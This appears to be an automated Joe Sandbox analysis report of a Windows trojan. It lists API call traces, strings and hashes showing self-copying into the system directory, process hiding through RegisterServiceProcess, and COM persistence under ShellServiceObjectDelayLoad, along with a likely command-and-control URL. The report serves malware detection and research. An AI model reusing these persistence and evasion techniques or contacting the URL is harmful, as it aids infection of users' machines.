Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Oglabl32.exePID: 6692, Parent PID: 6648COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

kkq32.vxd, xrefs: 00406E26
RegisterServiceProcess, xrefs: 00406F37
kernel32.dll, xrefs: 00406F2D
kkq32.dll, xrefs: 00406E07
3, xrefs: 00406D7C
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
QueenKarton_12, xrefs: 00406C44, 00406F09
dnkkq.dll, xrefs: 00406E3F
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
%s\%s.exe, xrefs: 00406D9C
2, xrefs: 00406D83

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Olijjb32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Olijjb32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Olijjb32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Olijjb32,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

Web Event Logger, xrefs: 00404126
2, xrefs: 00404023
Olijjb32, xrefs: 00404080, 00404085
ThreadingModel, xrefs: 0040410F
3, xrefs: 0040401C
CLSID\%s\InProcServer32, xrefs: 004040C7
%s\%s.dll, xrefs: 0040403C
Apartment, xrefs: 0040410A
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Olijjb32$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-378643607
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

MicroSoft-Corp, xrefs: 004053C3
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458
\Iexplore.exe , xrefs: 004052EC
D, xrefs: 00405334
7O{M, xrefs: 0040513F
Path, xrefs: 00405250
IEFrame, xrefs: 004053F2

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
